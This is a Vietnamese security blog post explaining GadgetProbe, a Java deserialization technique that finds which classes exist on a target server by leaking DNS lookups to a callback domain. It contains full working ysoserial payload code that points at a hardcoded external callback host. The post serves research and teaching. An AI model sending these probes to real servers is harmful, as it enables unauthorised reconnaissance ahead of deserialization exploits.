Làm như thế cũng không phải là cách tối ưu nhất, trong nhiều trường hợp, ví dụ đơn giản như GadgetChain CommonsBeanutils1 trong bộ ysoserial đang sử dụng version 1.9.2. Nhưng Liferay 6.2 thì lại đang sử dụng version 1.8.2,

=> Nếu generate gadgetchain bằng ysoserial và gửi lên sẽ fail luôn mặc dù gadgetchain vẫn hoạt động bình thường. Lý do bị fail là do version của server với ysoserial khác nhau nên serial của class bị sai => Fail!

Như vậy có thể sẽ gây ra nhiều trường hợp bỏ sót đáng tiếc với cách làm mò này!

Mục đích của tool GadgetProbe này là guessing các class hiện có trong classpath của server. Tuy vẫn là guessing nhưng có cơ sở hơn!

#Cách hoạt động của gadgetchain

GadgetProbe hoạt động giống như gadget URLDNS mình đã phân tích hôm trước. Chỉ khác 1 điều nho nhỏ, làm nên sự khác biệt của nó!

Gadget URLDNS trong bài trước như thế này:

        public Object getObject(final String url) throws Exception {
                HashMap ht = new HashMap();
                URL u = new URL(url); 
                ht.put(u, url); // <===
                Reflections.setFieldValue(u, "hashCode", -1); 
                return ht;
        }

HashMap.readObject()
    HashMap.hash()
      URL.hashCode()

URLDNS dựa vào nguyên lý: mỗi lần readObject(), HashMap() sẽ thực hiện tính lại hashCode() của từng key trong map.

Ví dụ như trong map có 10 key thì khi readObject() các entry này cũng đều được tính lại hết. Đây là cách mà HashMap chống collision trong map, (tên là HashMap cũng có lý do của nó cả mà!).

Điều nho nhỏ tạo nên sự khác biệt của GadgetProbe đó là 1 Class có thể Serializable!

Như trong ví dụ của mình, class Test111 hoàn toàn có thể được serialize và deserialize bình thường.

Nhưng điều gì sẽ xảy ra nếu sau khi deserialize, class không tồn tại trong classpath?

Thử refactor class vừa serialize bên trên, comment đoạn serialize lại và chỉ thực hiện deserialize object vừa nãy.

Kết quả là chương trình đẩy ra ClassNotFoundException luôn!

#! Đây chính là phần quan trọng nhất trong cách hoạt động của GadgetProbe!

Ý tưởng là kết hợp với gadgetchain URLDNS, put vào HashMap() 2 entry:

• entry thứ nhất là cái Class cần kiểm tra

• entry thứ 2 là URL để leak DNS

Để khi readObject, chương trình sẽ thực hiện deserialize cái Class trước.

• nếu class không tồn tại => Exception và không có DNS request

• nếu class tồn tại => chương trình sẽ tiếp tục tính hashCode của URL và leak DNS

Ý tưởng thì về cơ bản là như vậy, nhưng để hoạt động được thì vẫn cần thêm 1 chút mắm muối!

Vấn đề đầu tiên gặp phải là HashMap không giữ thứ tự của các entry.

Ví dụ:

put A vào trước, put B vào sau. Nhưng thứ tự của A và B trong HashMap hoàn toàn có thể là B đứng trước A!

Giải quyết vấn đề này đơn giản bằng cách dùng LinkedHashMap, thứ tự của các entry được giữ nguyên với LinkedHashMap.

Vấn đề thứ 2 gặp phải, đối với những class không tồn tại khi serialize gadgetchain thì làm thế nào?

Về cái này thì mình cũng chưa gặp bao giờ, tham khảo cách xử lý của tác giả thì ông này dùng javassist.ClassPool.makeClass() để tạo fake class. ¯_(ツ)_/¯ Nice trick, đáng học hỏi!

Gom tất cả đống bên trên lại với nhau, cuối cùng sẽ có 1 gadgetchain generator dạng như thế này:

package ysoserial.payloads;


import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.payloads.util.PayloadRunner;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.net.*;
import java.util.*;

import static com.nqzero.permit.Permit.setAccessible;

public class GadgetProbe implements ObjectPayload<Object>{

    private String callbackDomain;
    private ClassPool pool;

    public GadgetProbe(String callback_domain) {
        this.callbackDomain = callback_domain;
        this.pool = new ClassPool(true);
    }
    public GadgetProbe() {
        this.callbackDomain = "71a3b05021580a65ef26.d.zhack.ca";
        this.pool = new ClassPool(true);
    }

    private class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    private Class getOrGenerateClass(String className) {
        Class clazz = null;
        try {
            clazz = Class.forName(className);
        } catch (ClassNotFoundException e) {
            CtClass cc = pool.makeClass(className);

            try {
                clazz = cc.toClass();
                return clazz;
            } catch (CannotCompileException err) {
                if (err.getCause() != null && err.getCause().getCause() instanceof SecurityException) {
                    System.err.println("Error: Classname is in protected package. Most likely a typo: " + className);
                } else {
                    err.printStackTrace();
                }
            }
        }
        return clazz;
    }

    @SuppressWarnings("unchecked")
    public Object getObject(String clsname) throws Exception{
        String[] spl = clsname.split(";");
        this.callbackDomain = spl[0];
        clsname = spl[1];
        URLStreamHandler handler = new SilentURLStreamHandler();

        LinkedHashMap hm = new LinkedHashMap();
        URL u = null;

        try {
            u = new URL(null, "http://" + clsname.replaceAll("_","d-4-sh").replaceAll("\\$","d-0-ll") + "." + callbackDomain, handler);
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
        Class clazz = getOrGenerateClass(clsname);
        if (clazz == null) {
            return null;
        }
        hm.put("test", clazz);
        hm.put(u, "test");
        try {
            Field field = URL.class.getDeclaredField("hashCode");
            setAccessible(field);

            field.set(u, -1);
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }
        return hm;
    }

    public static void main(String[] args) throws Exception{
        args = new String[]{"71a3b05021580a65ef26.d.zhack.ca;ysoserial.payloads.GadgetProbes"};
        PayloadRunner.run(GadgetProbe.class, args);
    }
}

#Đã sửa lại từ file gốc của tác giả để tích hợp vào ysoserial, feel free to use!

Xin gửi lời cảm ơn tới người anh xã hội @movrment (http://movrment.blogspot.com/) và tác giả từ bishopfox!

Ref:

• https://know.bishopfox.com/research/gadgetprobe

• https://github.com/BishopFox/GadgetProbe/

• https://gist.github.com/testanull/db14645de6795eced376ccd1b9a1515c